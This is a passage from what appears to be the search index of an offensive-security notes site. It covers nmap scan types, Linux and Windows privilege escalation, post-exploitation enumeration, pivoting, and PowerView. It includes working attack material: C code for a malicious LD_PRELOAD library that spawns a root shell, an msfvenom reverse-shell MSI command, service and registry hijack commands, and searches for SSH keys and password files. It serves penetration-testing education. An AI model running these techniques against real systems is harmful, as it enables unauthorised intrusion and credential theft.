with particular capabilities can perform certain tasks with elevated privileges. If capabilities are not properly set, or if they are excessive, this may lead to privilege escalation. Binaries with capabilities may be found using the following command: getcap / -r 2>/dev/null A list of all possible capabilities can be found here . In the above example, we can see that the python interpreter can arbitrarily set the user ID of the process. This means that we can change our user ID to 0 when running python, thus escalating our privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing Linux Capabilities ยป Introduction","id":"167","title":"Introduction"},"168":{"body":"The LD_PRELOAD environment variable can be used to tell the dynamic linker to load specific libraries before any others. By default, programmes run with sudo will be executed in a clean, minimal environment which is specified by env_reset when running sudo -l. However, env_keep may be used to inherit some environment variables from the parent process. If LD_PRELOAD is specified together with env_keep, then we can compile our own malicious dynamic library and set LD_PRELOAD to it. Therefore, when we execute a binary with sudo, our library will be loaded before any other library and its initialisation function will be invoked with root permissions.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Introduction","id":"168","title":"Introduction"},"169":{"body":"Writing the library is a fairly simple task. All we need to do is write an _init function in a C file. This procedure will contain the code we want to be executed when the library is loaded. #include \n#include \n#include void _init()\n{ unsetenv(\"LD_PRELOAD\"); // Unset LD_PRELOAD to avoid an infinite loop setgid(0); // Set root permissions setuid(0); // Set root permissions system(\"/bin/bash\");\n} We begin by unsetting the LD_PRELOAD variable from the environment. This is to preclude an infinite loop when /bin/bash is invoked. If our library didn't unset LD_PRELOAD, then when /bin/bash is called, our library will again be loaded first and then proceed onto launching /bin/bash yet again, which will again load our library and so on. The next two lines set the user and group IDs to those of root which ensures that the next commands are run with root privileges. Finally, system is called in order to spawn a bash shell. We now need to compile this file as a shared library: gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles At last, we can invoke any binary with sudo and specify the path to our library as LD_PRELOAD. Note that the path to the library must be specified as an absolute path.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Writing the Malicious Library","id":"169","title":"Writing the Malicious Library"},"17":{"body":"Nmap is a free and open source port and network scanner, which may also be used for vulnerability scanning through its scripting engine - the NSE.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Introduction","id":"17","title":"Introduction"},"170":{"body":"Once you have gained access to a system, it is paramount to look for other credentials which may be located on the system. These may be hidden in the Windows Registry, within log or configuration files, and more. Moreover, you should check to see if any credentials you have previously found work with anything else. You should also check if you have access to the Windows SYSTEM or SAM files or any of their backups, since those will contain the hashes for users on the system. If so, you might be able to perform a pass-the-hash attack or simply crack them. If the compromised system is a Windows Server, you should look for any stored credentials which can be used with RunAs. You should check the Windows build and version, see if there are any kernel exploits available. You should then move onto enumerating misconfigurations in services and other Windows-specific vectors. If none of these bear any fruit, you should look at the programmes installed on the system, enumerate them for misconfigurations, explore their versions and any exploits which may be available. If none are found, you might consider reverse engineering and binary exploitation as a last resort. Finally, if you have gained access as a local administrator, you should proceeding to looking for ways to bypass UAC . In essence: Credentials Reused Credentials Credentials in Configuration or Log files Credentials in the Windows Registry Credentials from Windows SAM and SYSTEM files Pass-the-hash attacks Stored Credentials (Windows Servers) Kernel Exploits Misconfigurations Services AutoRuns Startup Applications Scheduled Tasks AlwaysInstallElevated Group Policy Bypassing UAC","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Methodology","id":"170","title":"Methodology"},"171":{"body":"Windows Services allow for the creation of continuously running executable applications. These applications have the ability to be automatically started upon booting, they may be paused and restarted, and they lack a user interface. In order for a service to function properly, it needs to be associated with a system or user account. There are a few common built-in system accounts that are used to operate services such as LocalService, NetworkService, and LocalSystem. The following table describes the default secure access rights for accounts on a Windows system: Account Permissions Local Authenticated Users (including LocalService and Network Service) READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_USER_DEFINED_CONTROL Remote Authenticated Users Same as those for Local Authenitcated Users. LocalSystem READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_PAUSE_CONTINUE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL Administrators DELETE READ_CONTROL SERVICE_ALL_ACCESS WRITE_DAC WRITE_OWNER Moreover, a registry entry exists for each service in HKLM\\SYSTEM\\CurrentControlSet\\Services.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Introduction","id":"171","title":"Introduction"},"172":{"body":"In general, manual enumeration of Windows services is a rather cumbersome process, so I suggest that you use a tool for automation such as WinPEAS . winpeas.exe servicesinfo The permissions a user has on a specific service can be inspected via the AccessChk Windows Utility. acceschk.exe /accepteula -uwcqv ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Enumeration","id":"172","title":"Enumeration"},"173":{"body":"This is a vulnerability which can be used to force a misconfigured service to execute an arbitrary programme in lieu of its intended one, as long as the path to that executable contains spaces. On its own, this does not allow for privilege escalation, but it becomes a really powerful tool when the misconfigured service is set to run with system privileges. Let's take a look at the following path: C:\\Program Files\\Vulnerable Service\\service.exe If this path was specified to the service in quotation marks, \"C:\\Program Files\\Vulnerable Service\\service.exe\", then Windows will treat it correctly, executing the service.exe file in the C:\\Program Files\\Vulnerable Service directory. However, Windows is not the sharpest tool in the box and if the path is provided without quotation marks, then it will see ambiguity in what it is supposed to execute. The path will be split at each space character - the first segment will be treated as the executable's name and the rest will be seen as command-line arguments to be passed to it. So at first, Windows will try to execute the following: C:\\Program.exe Files\\Vulnerable Service\\service.exe Once Windows determines that the C:\\Program.exe file does not exist, it will look for the next space character, treat the characters up to it as the new path and try to execute it again: C:\\Program Files\\Vulnerable.exe Service\\service.exe Now, this is process is recursive until a file is successfully executed or the end of the path has been reached. If we are able to create a malicious executable in any of the possible paths that Windows will traverse, then we can hijack the service before the intended file is found. Once you have identified a vulnerable service, you can query to confirm that the path is indeed unquoted. Let's check our access to the possible directories that will be probed by Windows: accesschk.exe /accepteula -uwdq While we cannot write within the C:\\ or C:\\Program Files directories (meaning that we cannot create C:\\Program.exe or C:\\Program Files\\Unquoted.exe), we do have write access to C:\\Program Files\\Unquoted Path Service\\. What this entails is our ability to create a Common.exe binary inside this directory and, since the initial path was unquoted, the path C:\\Program Files\\Unquoted Path Service\\Common.exe will be probed before C:\\Program Files\\Unquoted Path Service\\Common Files\\unquotedpathservice.exe and once Windows finds our malicious executable there, it will be executed with the service's permissions. If we couldn't restart the service, then we could have simply waited for something else to execute it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Unquoted Service Paths ยป Unquoted Service Paths","id":"173","title":"Unquoted Service Paths"},"174":{"body":"As previously mentioned, each service is associated with a registry entry in the Windows Registry which is located at HKLM\\SYSTEM\\CurrentControlSet\\Services\\. This entry is essentially the configuration of the service and if it is writable, then it can be abused by an adversary to overwrite the path to the binary application of the service with a malicious one. Querying regsvc reveals that it is running with system privileges and its registry entry is writable by all logged-on users (NT AUTHORITY\\INTERACTIVE). All we need to do now is overwrite the ImagePath registry key in the service's entry to point to our malicious executable: reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\ /v ImagePath /t REG_EXPAND_SZ /d /f Restart the service and catch the shell: net start regsvc","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Weak Registry Permissions ยป Weak Registry Permissions","id":"174","title":"Weak Registry Permissions"},"175":{"body":"This is a technique which leverages misconfigurations in the service permissions for a specific user. If permissions for a specific user differ from the ones described in the table here , then they may manifest as a possible vulnerability. To identify such services, it is useful to use WinPEAS. It appears that user has write access to the service daclsvc and can also start the service. We can query the service to see what user account is actually executing it: sc qc It appears that the service is running as LocalSystem which is an account with more privileges than our user account. If we can write to the service, then we can alter its configuration and change the path to the executable which is supposed to be run: sc config binpath=\"\\\"\\\"\" All we now need to do is setup a listener and run the service: net start And we get a system shell back:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Permissions ยป Insecure Service Permissions","id":"175","title":"Insecure Service Permissions"},"176":{"body":"The binary application executed by a service is considered insecure when an adversary has write access to it when they shouldn't. This means that an attacker can simply replace the file with a malicious executable. If the service is configured to run with system privileges, then those privileges will be inherited by the attacker's executable! All we need to do is simply replace the legitimate executable with a malicious one and then start the service.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Executable Permissions ยป Introduction","id":"176","title":"Introduction"},"177":{"body":"AutoRun application are programmes which have been set up to automatically execute when a user logs in for the first time after booting the system. This is typically done so that the application can look for updates and update itself if necessary. For example, Steam, Spotify, and Discord, all set this up upon installation. On its own, this does not pose a security risk. Where the real vulnerabilities lies is within AutoRuns which are writable by anyone. AutoRuns can be enumerated by querying the registry: reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Now all we need to do is generate the malicious executable and replace the AutoRun programme with it. Note that in order for the exploit to work, an administrator would need to log in. Now, as soon as the administrator logs in, we will get an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AutoRun Programmes ยป Introduction","id":"177","title":"Introduction"},"178":{"body":"Windows has a group policy which, when enabled, allows a user to install a Microsoft Windows Installer Package (.msi file) with elevated privileges. This poses a security risk because an adversary can simply generate a malicious .msi file and execute it with admin privileges. In order to check for this vulnerability, one need only query the following registry keys: reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated The AlwaysInstallElevated policy appears enabled, so we can generate a malicious .msi executable. One way to do this is through Metasploit: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f msi -o reverse.msi Next, transfer the executable to the target machine and execute it with msiexec: msiexec /quiet /qn /i ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AlwaysInstallElevated Group Policy ยป Introduction","id":"178","title":"Introduction"},"179":{"body":"Kernel exploits are one of the most trivial privilege escalation paths available. One of the first things you should do when seeking for a privilege escalation vector is to look at the kernel version as well as any installed patches and determine if it is vulnerable to a known kernel exploit. Plenty of exploits can be found just by searching up the kernel version, but a cheat sheet which I like can be found here . Naturally, the exploitation of a kernel exploit is highly specific on a case-by-case basis. Once you have identified that the system is vulnerable to a known kernel exploit, you will need to find the exploit code.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Kernel Exploits ยป Introduction","id":"179","title":"Introduction"},"18":{"body":"The syntax for nmap is as follows: nmap target_range It is always good practice to run Nmap with root privileges as they are required for some of the tool's functionality. You can do a simple scan on a single IP through the following command: nmap By default, Nmap scans the top 1000 most commonly used ports (these are not necssarily the ports 0-999). You can specify specific ports for scanning with the -p flag followed by a comma-separated list of ports. Specifying -p- will cause nmap to scan all ports (0-65535).","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Syntax","id":"18","title":"Syntax"},"180":{"body":"Windows Scheduled Tasks allow for the periodic execution of scripts. These can be manually enumerated via the following command: schtasks /query /fo LIST /v A scheduled task is of interest when it is executed with elevated privileges but we have write access to the script it executes. This script is fairly simple, so we can just append a line to it which executes a malicious executable. When the time for the scheduled task comes, we will catch an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Scheduled Tasks ยป Introduction","id":"180","title":"Introduction"},"181":{"body":"User Account Control (UAC) is a security measure introduced in Windows Vista which aims to prevent unauthorised changes to the operating system. It ensures that any such changes require the assent of the administrator or a user who is part of the local administrators group. Administrative privileges in Windows are a bit different from those in Linux. Even if an adversary manages to execute some code from an administrator account, this code will not run with elevated privileges, unless it was \"run as Administrator\"-ed. When an unprivileged user attempts to run a programme as administrator, they will be prompted by UAC to enter the administrator's password. However, if the user is privileged (they are an administrator), they will still be prompted with the same UAC prompt, but it will ask them for consent in lieu of a password. Essentially, an administrative user will need to click \"Yes\" instead of typing their password. What is described so far is the default behaviour. UAC, however, has different protection levels which can be configured. Now there are 3 (two of the options are the same but with different aesthetics) options. The first option, and the most strict, is Always Notify. If UAC is set to this, then any programme which tries to run with elevated privileges will beget a UAC prompt - including Windows built-in ones. Next is the default setting - Notify me when application try to make changes to my computer. Under this configuration, regular applications will still cause a UAC prompt to show up whenever run as administrator, however, Windows built-in programmes can be run with elevated privileges without such a prompt. Following is another option which is the exact same as this one, but the UAC prompt will not dim the screen. This is useful for computers for which dimming the screen is not exactly a trifling task. Finally, the Never Notify means that a UAC prompt will never be spawned no matter who is trying to run the application with elevated privileges. UAC can be bypassed if an adversary already has access to a user account which is part of the local administrators group and UAC is configured to the default setting.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Introduction","id":"181","title":"Introduction"},"182":{"body":"There are many tools for bypassing UAC and which one is to be used depends on the Windows build and version. One such tool which has lots of methods for bypassing UAC is UACMe . You will need to build it from source using Visual Studio, meaning that you will need a Windows machine in order to compile it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Bypassing UAC","id":"182","title":"Bypassing UAC"},"183":{"body":"Windows Startup applications are very similar to AutoRun Programmes , however, they are executed every time a user logs in. If we can write to the Startups directory, then we can place a malicious executable there which will be executed upon the next login. If the next user to log in is an administrator, then we will gain elevated privileges. To check for write access to the Startups directory, we can use accesschk: C:\\PrivEsc\\accesschk.exe /accepteula -d \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\" All we need to do is place a malicious executable in the directory and wait for an admin to log in.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Startup Applications ยป Introduction","id":"183","title":"Introduction"},"184":{"body":"Windows Servers have capabilities to store credentials using a built-in utility called cmdkey . On its own, cmdkey is rather useless to an adversary - you can only really use it to list what credentials are stored but not actually reveal them. cmdkey /list The real deal is another built-in utility called Runas . It allows one user to execute a binary with the permissions of another and, what is essential here, this can be achieved with only stored credentials. One doesn't even need to know what the credentials are - so long as a user has their credentials stored, then they can be used to execute programmes as that user. runas /savedcred /user: ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Stored Credentials ยป Introduction","id":"184","title":"Introduction"},"185":{"body":"Windows Access Tokens are objects which describe the security context in which a thread or process is run. The information within an access token identifies the user and their privileges of said process or thread. Upon each successful user log-on, an access token for the user is generated and every process executed by this user will contain a copy of this token called the primary token . This token is used by the system to inspect the privileges of the process when the process tries to interact with something which may require certain privileges. However, threads of the process are allowed to use a second token, called an impersonation token , to interact with objects as if they had a different security context and different privileges. This is only allowed when the process has the SeImpersonatePrivilege. As with UAC bypassing , exploiting token impersonation is highly dependent on the Windows build and version. However, the most infamous exploits are the Potato exploits .","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Token Impersonation ยป Introduction","id":"185","title":"Introduction"},"186":{"body":"","breadcrumbs":"Post Exploitation ยป Enumeration","id":"186","title":"Post Exploitation"},"187":{"body":"There are plenty of tools which can be used for automating post-exploitation enumeration on Linux machines.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Introduction","id":"187","title":"Introduction"},"188":{"body":"LinPEAS is an amazing tool for automation enumeration. It is written in Bash which means that it requires no additional dependencies and can be freely run. In order to acquire the latest version of LinPEAS, run the following command: wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh By default, running LinPEAS will perform many checks on the system and spit out a deluge of information. However, the tool can also be used to only perform specific tasks using the -o argument. Enumerate system information: ./linpeas.sh -o system_information Enumerate containers on the machine: ./linpeas.sh -o container Enumerate cloud platforms: ./linpeas.sh -o cloud Enumerate available software: ./linpeas.sh -o software_information Enumerate processes, cronjobs, services, and sockets: ./linpeas.sh -o procs_crons_timers_srvcs_sockets Enumerate network information: ./linpeas.sh -o network_information Enumerate user information: ./linpeas.sh -o users_information Enumerate interesting files: ./linpeas.sh -o interesting_files","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Linux Enumeration with LinPEAS","id":"188","title":"Linux Enumeration with LinPEAS"},"189":{"body":"Find all files in a directory which contain \"pass\" or \"password\", ignoring case: grep --color=auto -rnw '' -ie \"password\\|pass\" --color=always 2>/dev/null Find all files in a directory which contain \"pass\" or \"password\" in their name, ignoring case: find / -name \"*pass*\" 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding Files Containing Passwords","id":"189","title":"Finding Files Containing Passwords"},"19":{"body":"open - an application is actively listening for TCP connections, UDP datagrams or SCTP associations on this port closed - the port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it filtered - Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. Usually, the filter sends no response, so Nmap needs to resend the probe a few times in order to be sure that it wasn't dropped due to traffic congestion. This slows the scan drastically unfiltered - the port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, used for mapping firewall rulesets, may put ports in this state open|filtered - Nmap is unable to determine whether the port is open or filtered. This occurs for scan types in which open ports give no response closed|filtered - Nmap is unable to determine whether the port is closed or filtered. It is only used for the IP ID idle scan.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Port States","id":"19","title":"Port States"},"190":{"body":"find / -name id_rsa 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding SSH Keys","id":"190","title":"Finding SSH Keys"},"191":{"body":"System enumeration is a crucial, typically first, step in the enumeration phase of post-exploitation.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Introduction","id":"191","title":"Introduction"},"192":{"body":"cat /etc/issue","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating the Distribution Version","id":"192","title":"Enumerating the Distribution Version"},"193":{"body":"uname -a cat /proc/version","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Linux Kernel Version Information","id":"193","title":"Enumerating Linux Kernel Version Information"},"194":{"body":"lscpu","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating CPU Architecture","id":"194","title":"Enumerating CPU Architecture"},"195":{"body":"ps aux","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Running Services","id":"195","title":"Enumerating Running Services"},"196":{"body":"List files owned by a certain user in a directory: find -user 2>/dev/null List files owned by a certain user in a directory (without /proc): find -user 2>/dev/null | grep -v \"/proc\" List files owned by a certain group in a directory: find -group 2>/dev/null find -group 2>/dev/null | grep -v \"/proc\" # ignore /proc","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป File System Enumeration","id":"196","title":"File System Enumeration"},"197":{"body":"whoami id","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate User Name and Group","id":"197","title":"Enumerate User Name and Group"},"198":{"body":"sudo -l","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate Commands Runnable as Root","id":"198","title":"Enumerate Commands Runnable as Root"},"199":{"body":"cat /etc/passwd","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป List Users on the Machine","id":"199","title":"List Users on the Machine"},"2":{"body":"You should only make changes inside the eight category folders under the Notes/ directory. Minor edits to already existing content outside of the aforementioned allowed directories are permitted as long as they do not bring any semantic change - for example fixing typos.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป In-Scope","id":"2","title":"In-Scope"},"20":{"body":"The default scan type with root privileges (-sS option) It does not complete a full TCP handshake, therefore it's a bit faster and used to be more silent (it is called a silent scan, although that is no longer the case) Also known as a half-open scan You can use the -sS option or omit it entirely to perform a TCP SYN scan. This type of scan works as follows: Nmap sends a SYN packet to the target, initiating a TCP connection. The target responds with SYN ACK, telling Nmap that the port is accessible. Finally, Nmap terminates the connection before it's finished by issueing a RST packet.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP SYN Scan","id":"20","title":"TCP SYN Scan"},"200":{"body":"history","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Get History of Commands the User Has Run","id":"200","title":"Get History of Commands the User Has Run"},"201":{"body":"Get a list of the network interfaces connected to the machine with their IPs and MACs: ip a Get a list of the machines that the victim has been interacting with (print the ARP table): ip neigh","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Network Interfaces and Network Information","id":"201","title":"List Network Interfaces and Network Information"},"202":{"body":"netstat -ano","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Open Ports","id":"202","title":"List Open Ports"},"203":{"body":"Plenty of automated tools can be found for enumerating Windows machines. They are a bit more diverse than those available for Linux - there are precompiled binaries (.exes) available, but there are also PowerShell scripts and many more.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Introduction","id":"203","title":"Introduction"},"204":{"body":"WinPEAS is an incredible tool for enumerating Windows machines. It comes in two flavours - .bat and .exe. It doesn't really matter which one you are going to run - both will do the job just fine - however, the .exe file requires .Net version 4.5.2 or later to be installed on the machine. Enumerating system information: winpeas.exe systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Windows Enumeration with WinPEAS","id":"204","title":"Windows Enumeration with WinPEAS"},"205":{"body":"systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate System Information","id":"205","title":"Enumerate System Information"},"206":{"body":"wmic qfe","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Patches","id":"206","title":"Enumerate Patches"},"207":{"body":"wmic logicaldisk get caption,description,providername","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Drives","id":"207","title":"Enumerate Drives"},"208":{"body":"Pivoting is the act of establishing access to internal resources on a network through a compromised machine. This allows an adversary to exifltrate local data which is usually not accessible from the outside world. Moreover, it permits the use of hacking tools as if they were running from inside the network.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Introduction","id":"208","title":"Introduction"},"209":{"body":"Chisel is an open-source application for port tunneling. You can get it from https://github.com/jpillora/chisel. Clone the repo and follow the installation instructions. In order to port tunnel with chisel, you need to have a copy of the binary on both the attacking and the compromised machines.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Introduction","id":"209","title":"Introduction"},"21":{"body":"The default scan type when SYN scan isn't available - lacking root privileges (-sT option) Nmap initiates a complete TCP connection with the target The connection attempts are loggen onto the target It's usually slower","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP Connect Scan","id":"21","title":"TCP Connect Scan"},"210":{"body":"Run the following command on the attacking machine: chisel server -p [Listen Port] --reverse & This will setup a chisel server on Listen Port. On the compromised systenm run: chisel client [Attacker IP]:[Listen Port] R:[Local Host]:[Local Port]:[Remote Host]:[Remote Port] & This will endeavour to connect to a chisel server at the specified Attacker IP and Listen Port. Once it has connected to the remote chisel server, the chisel server will open Remote Port on the Remote Host and tunnel it to the Local Port of Local Host. From now on, any traffic sent to Remote Port on the Remote Host will be forwarded to the Local Port of Local Host. Chisel also defines some defaults for these values, which means you can omit some of them: Local Host - 0.0.0.0 Remote Host - 0.0.0.0 (server localhost) As an example, suppose you start a chisel server on your attacking machine (10.10.10.189) on port 1337, and want to gain access to port 3306 on the compromised machine. On the attacking machine you run: chisel server -p 1337 --reverse & On the compromised system you will run: chisel client 10.10.10.189:1337 R:localhost:3306:localhost:31337 & The above basically translates to \"Forward any traffic intended for port 31337 localhost on my attacking machine to port 3306 on the localhost of the compromised system\".","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Creating a reverse tunnel","id":"210","title":"Creating a reverse tunnel"},"211":{"body":"SSH Tunneling is a port forwarding technique which uses SSH. It can be used to access internal resources within a network if you have SSH access to a host inside it. Additionally, the tunnel goes through a pre-existing SSH connection and can thus be utilised for bypassing firewalls.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Introduction","id":"211","title":"Introduction"},"212":{"body":"Local port forwarding is used when you want to create a bridge to a port that hosts an internal service which does not accept connections from outside the network. For this to work, you need to specify two ports - one for the service on the remote machine which you want to access and one on your local machine to create the listener on. Any packets sent to your machine on the local port will be tunneled to the port on the remote machine through the SSH connection. Whilst you will still receive any responses to requests you send through the tunnel, you won't be able to receive arbitrary data that gets sent to the remote port. The syntax is fairly simple: ssh -L [LOCAL_IP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [LOCAL_IP:] - the interface you want to open the listener on. This can be omitted and defaults to localhost. LOCAL_PORT - the port you want to start the listener on. Any traffic sent to this port will be forwarded through the tunnel. DESTINATION - the destination host. This does not need to (and most likely won't) match SSH_SERVER, since you are now trying to access an internal resource. DESTINATION_PORT - the port on the remote machine, that you want to access through the tunnel. You can also add -N -f to the above command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands. We have now established a tunnel on my Kali machine's port 8080, which will forward any traffic to 192.168.129.137:1337, which is my ubuntu server. So let's see if we can access the web page. Wait, what? We just created the tunnel, but it does not seem to work? Well, remember how the DESTINATION does not need to match the server's IP? This is because the DESTINATION is where the traffic is sent after it gets to the remote machine. In a sense, the remote machine is now the sender and not us. Therefore, in order to access a resource internal to the network, we would need to change DESTINATION to something like localhost or another computer's IP. Let's again check to see if we have access to the resource hidden behind localhost:1337 on the Ubuntu server...","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Local Port Forwarding","id":"212","title":"Local Port Forwarding"},"213":{"body":"Remote port forwarding is sort of the reverse of local port forwarding. A tunnel is opened and any traffic sent to the tunnel port on the remote machine will be forwarded to the local machine. In the exact same way as above, once the traffic is tunneled, the local machine becomes the sender. Therefore, remote port forwarding is more useful when you want to receive traffic from inside the network, rather than injecting it. You will be able to actively receive any data that is sent to the remote port, but you won't be able to send arbitrary data through the tunnel yourself. The syntax is also very similar: ssh -R [REMOTE:]REMOTE_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [REMOTE:] - the remote host to listen on. This resembles the LOCAL_IP when local port forwarding and can be omitted. If left empty, the remote machine will bind on all interfaces REMOTE_PORT - the port on the remote machine that is part of the tunnel. DESTINATION:DESTINATION_PORT - the host and port that the traffic should be sent to once it gets from the remote machine back to the local machine Once again, you can add -N -f to the command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Remote Port Forwarding","id":"213","title":"Remote Port Forwarding"},"214":{"body":"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Active Directory (AD)","id":"214","title":"Active Directory (AD)"},"215":{"body":"PowerView is a PowerShell tool for the enumeration of Windows domains. The script can be downloaded from https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1. Before running, you need to bypass PowerShell's execution policy: powershell -ep bypass Load the script using . .\\PowerView.ps1 Normally, you'd be running these commands through some sort of shell, but for the sake of simplicity, I will show them all run locally.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Overview","id":"215","title":"Overview"},"216":{"body":"Get-NetDomain","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Information","id":"216","title":"Get Domain Information"},"217":{"body":"Get-NetDomainController","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Controller Information","id":"217","title":"Get Domain Controller Information"},"218":{"body":"Get-DomainPolicy You can also get information about a specific policy with the following syntax: (Get-DomainPolicy).\"policy name\"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Retrieve Domain Policy Information","id":"218","title":"Retrieve Domain Policy Information"},"219":{"body":"Get-NetUser The output of this command is rather messy, but you can pull specific information with the following syntax: Get-NetUser | select However, there is an even better way to do that.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Users Information","id":"219","title":"Get Users Information"},"22":{"body":"These scan types make use of a small loophole in the TCP RFC to differentiate between open and closed ports. RFC 793 dictates that \"if the destination port state is CLOSED .... an incoming segment not containing a RST causes a RST to be sent in response.โ€ It also says the following about packets sent to open ports without the SYN, RST, or ACK bits set: โ€œyou are unlikely to get here, but if you do, drop the segment, and return\". Scanning systems compliant with this RFC text, any packet not containing SYN, RST, or ACK bits will beget an RST if the port is closed and no response at all if the port is open. So long as none of these flags are set, any combination of the other three (FIN, PSH, and URG) is fine. These scan types can sneak through certain non-stateful firewalls and packet filtering routers and are a little more stealthy than even a SYN scan. However, not all systems are compliant with RFC 793 - some send a RST even if the port is open. Some operating systems that do this include Microsoft Windows, a lot of Cisco devices, IBM OS/400, and BSDI. These scans will work against most Unix-based systems. It is not possible to distinguish an open from a filtered port with these scans, hence why the port states will be open|filtered.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Overview","id":"22","title":"Overview"},"220":{"body":"Get a specific properties of all the users: Get-DomainUser -Properties ,,... It is useful to always have the samaccountname as the first property selected, so that you can easily match properties with specific users.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get User Property Information","id":"220","title":"Get User Property 